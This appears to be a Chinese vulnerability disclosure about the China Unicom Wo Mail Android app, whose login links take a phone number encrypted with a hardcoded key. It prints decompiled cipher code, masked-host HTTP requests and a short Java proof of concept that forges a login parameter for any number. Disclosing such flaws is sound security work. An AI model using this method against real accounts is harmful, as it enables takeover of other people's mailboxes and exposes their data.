中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

GET /appFound/redirect.do?mdn=B7568B90AE4A8DBF05835CB0F1DB4F77FD650AF8F9B91B72C5423AA6B78AC90DC096F9545EC659BD3662892B51FABEE145B0B9F7B9D7A22E074C4AF92F9A6B67&actionType=club_index HTTP/1.1
 Host: **.**.**.**:7102
 Accept: application/json, text/javascript, */*; q=0.01
 X-Requested-With: XMLHttpRequest
 User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; A0001 Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36
 Referer: 
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,en-US;q=0.8
 Cookie: 
 Connection: close

{
     "resultCode": 0,
     "url": "http://**.**.**.**/port/login.shtml?param={/"phoneNum/" : /"465C4CD8BA559F65CA6FCBFB6618B7E3ED7FC547A559EEF9B3C8AF9BFF7697203C6DF7B4BD803C2B13760692C676ED7794BB79A076D31609D3396659A2768670/",/"channelId/" : /"F98CA05AAE2943443FE29CFCCA2B39048E5E764A5272623D375D617FD3E92CD39C92DBB740441DFE531719C64BCBA1BA5610A9E3D497F98C746D8AF9174C0A73/",/"backUrl/" : /"http://**.**.**.**/wap/recommend/index.html/"}",
     "demo": null
 }

**.**.**.**:7102/appFound/redirect.do?mdn=B7568B90AE4A8DBF05835CB0F1DB4F77FD650AF8F9B91B72C5423AA6B78AC90DC096F9545EC659BD3662892B51FABEE145B0B9F7B9D7A22E074C4AF92F9A6B67&actionType=club_index

http://**.**.**.**:7102/appFound/loadTask.do?platform=android&phoneNum=B7568B90AE4A8DBF05835CB0F1DB4F77FD650AF8F9B91B72C5423AA6B78AC90DC096F9545EC659BD3662892B51FABEE145B0B9F7B9D7A22E074C4AF92F9A6B67

void a(String paramString)
   {
     this.P = paramString;
     this.Q = (WoMailApplication.f().getInt("leaveFlow", 0) + "");
     tc.d("", "mmm...发现界面传值 phoneNum=" + this.P + "  leftFlow=" + this.Q);
     if ((!TextUtils.isEmpty(this.P)) && (!this.P.equals("")) && (!this.P.startsWith("20")))
     {
       this.C += sx.a("scoreyijie", this.P);
       this.P = sx.a("scoreyijie", this.P);
       this.Q = sx.a("scoreyijie", this.Q);
       this.z = ("http://**.**.**.**:7102/appFound/appFound.do?phoneNum=" + this.P + "&leftFlow=" + this.Q + "&platform=" + "android");
       this.y = this.z;
       aih.a(true, "mainUrl = " + this.y);
       aih.a(true, "firstStart = " + this.u);

import java.util.Random;
 
 public class sx
 {
   private static int[] a = { 18, 46, 52, 22, 39, 0, 58, 54, 23, 37, 38, 25, 42, 36, 62, 30, 41, 14, 7, 50, 8, 9, 51, 59, 21, 15, 34, 45, 56, 3, 55, 28, 49, 32, 35, 20, 24, 53, 33, 40, 11, 17, 26, 31, 48, 5, 43, 29, 44, 12, 1, 19, 4, 13, 16, 27, 57, 47, 2, 6, 63, 10, 61, 60 };
   private static int[] b = { 5, 50, 58, 29, 52, 45, 59, 18, 20, 21, 61, 40, 49, 53, 17, 25, 54, 41, 0, 51, 35, 24, 3, 8, 36, 11, 42, 55, 31, 47, 15, 43, 33, 38, 26, 34, 13, 9, 10, 4, 39, 16, 12, 46, 48, 27, 1, 57, 44, 32, 19, 22, 2, 37, 7, 30, 28, 56, 6, 23, 63, 62, 14, 60 };
   private static byte[] c = { 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70 };
   
   private static String a()
   {
     return "=01=";
   }
   
   public static String a(String paramString)
   {
     return sz.a((a() + paramString + b()).getBytes());
   }
   
   public static String a(String paramString1, String paramString2)
   {
     int j = 0;
     byte[] arrayOfByte = new byte[64];
     new Random(System.currentTimeMillis()).nextBytes(arrayOfByte);
     paramString2 = paramString2.getBytes();
     int i = 0;
     while ((i < paramString2.length) && (i < 64))
     {
       arrayOfByte[i] = paramString2[i];
       i += 1;
     }
     if (paramString2.length < 64) {
       arrayOfByte[paramString2.length] = 0;
     }
     paramString1 = paramString1.getBytes();
     i = j;
     while (i < arrayOfByte.length)
     {
       arrayOfByte[i] = ((byte)(arrayOfByte[i] + paramString1[(i % paramString1.length)]));
       i += 1;
     }
     return a(a(arrayOfByte, a));
   }
   
   private static String a(byte[] paramArrayOfByte)
   {
     if ((paramArrayOfByte == null) || (paramArrayOfByte.length == 0)) {
       return "";
     }
     byte[] arrayOfByte = new byte[paramArrayOfByte.length * 2];
     int i = 0;
     while (i < paramArrayOfByte.length)
     {
       arrayOfByte[(i * 2 + 0)] = c[(paramArrayOfByte[i] & 0xF)];
       arrayOfByte[(i * 2 + 1)] = c[((paramArrayOfByte[i] & 0xF0) >> 4)];
       i += 1;
     }
     return new String(arrayOfByte);
   }
   
   private static byte[] a(byte[] paramArrayOfByte, int[] paramArrayOfInt)
   {
     byte[] arrayOfByte = new byte[paramArrayOfByte.length];
     int i = 0;
     while (i < arrayOfByte.length)
     {
       arrayOfByte[i] = paramArrayOfByte[paramArrayOfInt[i]];
       i += 1;
     }
     return arrayOfByte;
   }
   
   private static String b()
   {
     return "ailk_unicom.mail";
   }
   
   public static String b(String paramString1, String paramString2)
   {
     paramString2 = a(b(paramString2), b);
     paramString1 = paramString1.getBytes();
     int i = 0;
     while (i < paramString2.length)
     {
       paramString2[i] = ((byte)(paramString2[i] - paramString1[(i % paramString1.length)]));
       i += 1;
     }
     i = 0;
     for (;;)
     {
       int j;
       if (i >= 64) {
         j = 64;
       }
       do
       {
         return new String(paramString2, 0, j);
         j = i;
       } while (paramString2[i] == 0);
       i += 1;
     }
   }
   
   private static byte[] b(String paramString)
   {
     if ((paramString == null) || (paramString.length() != 128)) {
       throw new IllegalArgumentException();
     }
     byte[] arrayOfByte = new byte[64];
     int j = 0;
     if (j < 64)
     {
       int k = paramString.charAt(j * 2 + 0);
       int m = paramString.charAt(j * 2 + 1);
       if ((k >= 48) && (k <= 57))
       {
         k = (byte)(k - 48 + 0);
         label77:
         if ((m < 48) || (m > 57)) {
           break label149;
         }
       }
       for (int i = (byte)(k + (m - 48) * 16);; i = (byte)(k + (m - 65 + 10) * 16))
       {
         arrayOfByte[j] = i;
         j += 1;
         break;
         if ((k >= 65) && (k <= 70))
         {
           k = (byte)(k - 65 + 10 + 0);
           break label77;
         }
         throw new IllegalArgumentException();
         label149:
         if ((m < 65) || (m > 70)) {
           break label181;
         }
       }
       label181:
       throw new IllegalArgumentException();
     }
     return arrayOfByte;
   }
 }

public class LianTong {
 
  public static void main(String args []){
  String liantong = sx.a("scoreyijie", "18566666666");
  System.out.println(liantong);
  }
 }

http://**.**.**.**/port/login.shtml?param={"phoneNum" : "9F4C8C1E9A55F92A0A52FDB7431D73CF629CE5C1C5798000C28A23DC0096610546FE7F0999657127136D448CF296137F79A8798C968AF674F77266790496DEDD","channelId" : "437CE09F8E29AD097ED5CEB8A720F4EF037BAFC4709B0443461FE4B0E3E9F5B8A624530C2C2952FA120E57B077AED6B23B0DA9CFD44EDAF798A68A67784552D0","backUrl" : "http://**.**.**.**/wap/recommend/index.html"}